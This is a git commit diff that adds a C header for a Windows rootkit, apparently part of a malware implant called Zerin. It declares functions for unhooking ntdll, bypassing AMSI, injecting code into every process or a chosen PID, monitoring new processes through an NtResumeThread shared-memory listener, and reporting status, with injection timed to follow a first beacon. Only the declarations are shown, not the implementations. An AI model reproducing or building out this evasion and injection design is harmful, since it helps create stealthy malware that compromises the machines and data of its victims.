initial commit

2026-08-27 11:03:10 -06:00
commit d164820ea9
282 changed files with 90944 additions and 0 deletions
@@ -0,0 +1,40 @@
+#ifndef ZERIN_ROOTKIT_H
+#define ZERIN_ROOTKIT_H
+
+#include "config.h"
+#include <stdint.h>
+
+#ifdef _WIN32
+
+// Initialize rootkit subsystems (unhook, AMSI bypass — no injection yet)
+int rootkit_init(zerin_config_t *cfg);
+
+// Start injection (call AFTER first successful beacon)
+int rootkit_start_injection(void);
+
+// Cleanup rootkit state
+void rootkit_cleanup(void);
+
+// Individual subsystems
+int rootkit_unhook_ntdll(void);
+int rootkit_bypass_amsi(void);
+
+// Injection engine
+int rootkit_inject_all(void);
+int rootkit_inject_pid(uint32_t pid);
+int rootkit_start_monitor(void);
+void rootkit_stop_monitor(void);
+
+// Shared memory listener (NtResumeThread IPC — primary new-process mechanism)
+int rootkit_start_shm_listener(void);
+void rootkit_stop_shm_listener(void);
+
+// Status reporting
+int rootkit_get_status(char *buf, size_t buf_size);
+
+// State tracking
+extern volatile LONG g_rootkit_active;
+extern volatile LONG g_rootkit_injected_count;
+
+#endif // _WIN32
+#endif // ZERIN_ROOTKIT_H